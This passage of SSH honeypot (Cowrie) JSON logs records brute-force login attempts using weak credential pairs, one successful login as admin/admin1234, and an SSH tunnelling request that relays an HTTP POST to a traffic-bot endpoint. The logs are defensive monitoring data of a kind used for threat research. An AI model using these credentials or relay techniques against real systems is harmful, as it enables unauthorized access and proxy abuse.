.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:36.831463Z","src_ip":"91.92.40.36","session":"18421110622f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:36.837414Z","src_ip":"91.92.40.36","session":"18421110622f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:37.056307Z","src_ip":"123.27.168.40","session":"31b507750240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:39.136404Z","src_ip":"91.92.40.36","session":"b7ec0e48bf20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maggie","password":"maggie","message":"login attempt [maggie/maggie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:40.796428Z","src_ip":"91.92.40.36","session":"18421110622f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:42.561693Z","src_ip":"91.92.40.36","session":"18421110622f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34162,"dst_ip":"159.203.135.109","dst_port":22,"session":"b22b8965aba6","protocol":"ssh","message":"New connection: 91.92.40.36:34162 (159.203.135.109:22) [session: b22b8965aba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:45.520875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:46.433209Z","src_ip":"91.92.40.36","session":"b22b8965aba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:47.729792Z","src_ip":"91.92.40.36","session":"b22b8965aba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51052,"dst_ip":"10.17.0.5","dst_port":22,"session":"30f325202f00","protocol":"ssh","message":"New connection: 103.15.222.183:51052 (10.17.0.5:22) [session: 30f325202f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:49.940096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:49.944593Z","src_ip":"103.15.222.183","session":"30f325202f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:50.189027Z","src_ip":"103.15.222.183","session":"30f325202f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15986,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a98559c929a","protocol":"ssh","message":"New connection: 91.92.40.36:15986 (159.203.135.109:22) [session: 3a98559c929a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:50.777823Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"domdom","message":"login attempt [root/domdom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:50.925809Z","src_ip":"103.15.222.183","session":"30f325202f00","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:51.694506Z","src_ip":"91.92.40.36","session":"3a98559c929a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:51.698756Z","src_ip":"91.92.40.36","session":"3a98559c929a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:52.174061Z","src_ip":"103.15.222.183","session":"30f325202f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"git","message":"login attempt [ubuntu/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:53.826821Z","src_ip":"91.92.40.36","session":"b22b8965aba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hduser1234","message":"login attempt [ubuntu/hduser1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:54.775456Z","src_ip":"91.92.40.36","session":"3a98559c929a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:56.403250Z","src_ip":"91.92.40.36","session":"b22b8965aba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:56.505707Z","src_ip":"91.92.40.36","session":"3a98559c929a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":53482,"dst_ip":"10.17.0.5","dst_port":22,"session":"69992dc1801c","protocol":"ssh","message":"New connection: 173.208.192.194:53482 (10.17.0.5:22) [session: 69992dc1801c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:57.477847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:57.481942Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:57.613731Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:33:58.785886Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61274,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7182f645526","protocol":"ssh","message":"New connection: 91.92.40.36:61274 (159.203.135.109:22) [session: e7182f645526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:00.677772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:01.482392Z","src_ip":"91.92.40.36","session":"e7182f645526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:02.637200Z","src_ip":"91.92.40.36","session":"e7182f645526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:05.306015Z","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:05.342475Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1216\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bSskc2NUQDk%2BUHp%2BfnJSSA%3D%3DLl6KpwkF%2F%2B7Nv%2F2IK60384HANRodhWsiKPu5MnLnvJ%2FF%2B5FGxVqOJNjyfVWD9D6VDsjzm3nhRr%2BPWR4492yFsouPP0Cf9%2BGXVrG5dyCi56bPmwMeTINRaW5v%2F33%2FJj1%2BkWw2VDcDUC1T3RN%2FTvc9PxbHqtemj%2FWXppWGiYwVKUJw618GyH%2FW%2BgiUfyCW0aXAeVAo8zeGvqadGwiTVSolDR3483Nu8%2F1R32K9A2DADkj6zrWHxXpwHMJoT4N0fj7c7OZBgswmF1atFZYre0bS%2FQkTGXO05sc4Tm4tszbnwBkACanIATTIMlpw6Vq6y%2FLBo75VpzKZTIvU9F%2BXjS%2B7vPOpzCmQ7CaBi0nohYr0pDtwY5%2BW3gF%2BnMlh2Gn5jDp9fsEJHt1AG%2Bid9MvWSOmEGvk0MOGciLYTJemc8f88N%2FDUcRmUgIOQuhbukq5Lqer7Cr9kMUH4SEXt3CX7AnwdPla1LtasT%2BmC9%2Fvxl%2BL8X9iO7hNi7IoaPlTtyV3JZQyYYCJt5ydG5NiQXmC99%2BWLS1bWfsSujWiMnjW3V9n7LNQb5uuOhrYE3pj7mgKVQE73M5Y5EzFtaI2tURjVspqNpJzNHgUwcRg%2FjoGBzRtnW7sK4dedxZbyunPvfqUFi%2BybTrTKsTh%2F%2FL9tH7WMY5Yx0HtG9XWi2t50UYadUy4koLg7Tf3tGTdYDWGWbPBtNPUf27DmycY%2BUBUoq3KhMoRSyooEbAalGmrV%2B3r1%2BA0YvTHcaNI9GEL0D8SPvzUJ7IHRLRznw0TNnjoSSLO4bd0WyGQkSiHEe1KPGRqWAH8%2F64qt7%2Bfyvm2h033tkVIJOwNmikDQdNaiEhCt0OSiaKISN1fB6GmAbfmazNY%2B7R7KKOZEUNE%2BQFH6bsQG%2Fwhycml%2Fy34%2FoG9D4I4MRMAcHJ4YHq3KE7x%2BqDh%2FQ%2BKMemyjc56D2TCHT4hsclTsZSmWjMTEKuEE%2BbKQVi24dIVqIA3FQNF5xtkuAPsWlXGNuMbE101mARm8%2Fg6AmYiHpAmrhAsD1sSClJXWOloVaQqQZeXZAKDOCM0jZPMuva40xTdzTKBvFWC8E%2BFUqI7aKtzGr7zm'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1216\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bSskc2NUQDk%2BUHp%2BfnJSSA%3D%3DLl6KpwkF%2F%2B7Nv%2F2IK60384HANRodhWsiKPu5MnLnvJ%2FF%2B5FGxVqOJNjyfVWD9D6VDsjzm3nhRr%2BPWR4492yFsouPP0Cf9%2BGXVrG5dyCi56bPmwMeTINRaW5v%2F33%2FJj1%2BkWw2VDcDUC1T3RN%2FTvc9PxbHqtemj%2FWXppWGiYwVKUJw618GyH%2FW%2BgiUfyCW0aXAeVAo8zeGvqadGwiTVSolDR3483Nu8%2F1R32K9A2DADkj6zrWHxXpwHMJoT4N0fj7c7OZBgswmF1atFZYre0bS%2FQkTGXO05sc4Tm4tszbnwBkACanIATTIMlpw6Vq6y%2FLBo75VpzKZTIvU9F%2BXjS%2B7vPOpzCmQ7CaBi0nohYr0pDtwY5%2BW3gF%2BnMlh2Gn5jDp9fsEJHt1AG%2Bid9MvWSOmEGvk0MOGciLYTJemc8f88N%2FDUcRmUgIOQuhbukq5Lqer7Cr9kMUH4SEXt3CX7AnwdPla1LtasT%2BmC9%2Fvxl%2BL8X9iO7hNi7IoaPlTtyV3JZQyYYCJt5ydG5NiQXmC99%2BWLS1bWfsSujWiMnjW3V9n7LNQb5uuOhrYE3pj7mgKVQE73M5Y5EzFtaI2tURjVspqNpJzNHgUwcRg%2FjoGBzRtnW7sK4dedxZbyunPvfqUFi%2BybTrTKsTh%2F%2FL9tH7WMY5Yx0HtG9XWi2t50UYadUy4koLg7Tf3tGTdYDWGWbPBtNPUf27DmycY%2BUBUoq3KhMoRSyooEbAalGmrV%2B3r1%2BA0YvTHcaNI9GEL0D8SPvzUJ7IHRLRznw0TNnjoSSLO4bd0WyGQkSiHEe1KPGRqWAH8%2F64qt7%2Bfyvm2h033tkVIJOwNmikDQdNaiEhCt0OSiaKISN1fB6GmAbfmazNY%2B7R7KKOZEUNE%2BQFH6bsQG%2Fwhycml%2Fy34%2FoG9D4I4MRMAcHJ4YHq3KE7x%2BqDh%2FQ%2BKMemyjc56D2TCHT4hsclTsZSmWjMTEKuEE%2BbKQVi24dIVqIA3FQNF5xtkuAPsWlXGNuMbE101mARm8%2Fg6AmYiHpAmrhAsD1sSClJXWOloVaQqQZeXZAKDOCM0jZPMuva40xTdzTKBvFWC8E%2BFUqI7aKtzGr7zm'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:05.345433Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15986,"dst_ip":"159.203.135.109","dst_port":22,"session":"a132e4d5b9ad","protocol":"ssh","message":"New connection: 91.92.40.36:15986 (159.203.135.109:22) [session: a132e4d5b9ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:07.576177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:07.693062Z","src_ip":"91.92.40.36","session":"a132e4d5b9ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-c